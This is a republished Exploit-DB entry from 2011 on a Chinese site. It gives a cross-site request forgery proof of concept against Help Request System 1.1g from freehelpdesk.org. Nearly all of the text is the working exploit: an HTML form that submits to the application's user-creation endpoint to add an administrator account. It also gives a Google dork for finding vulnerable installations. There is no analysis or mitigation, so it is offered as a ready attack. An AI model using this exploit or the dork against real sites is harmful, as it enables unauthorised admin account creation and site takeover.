Help Desk Software 1.1g – Cross-Site Request Forgery (Add Admin) - 体验盒子

作者： G13

日期： 2011-08-24

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/17714/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

# Exploit Title: Help Request System 1.1g XSRF (add admin)

# Date: 08-23-2011

# Google Dork: "powered by freehelpdesk.org"

# Author: G13

# Software link: http://freehelpdesk.org/

# Version: 1.1g

<html>

<body>

<form id="edit" method="post"

action="http://localhost/request/index.php?sub=users&action=store&type=add"

enctype="">

Name: <input class="FormItemTextbox" type="text" name="user_name"

size="35" maxlength="" value=""><br>

Login name:<input class="FormItemTextbox" type="text" name="user_login"

size="20" maxlength="" value=""><br>

Pass:<input class="FormItemTextbox" type="password" id="user_password"

name="user_password" size="20" value=""><br>

Pass confirm:<input class="FormItemTextbox" type="password"

id="user_password_confirm" name="user_password_confirm" size="20"

value=""><br>

<input class="btn" type="submit" value="Submit" id="submit"

name="submit">

</form>

</body>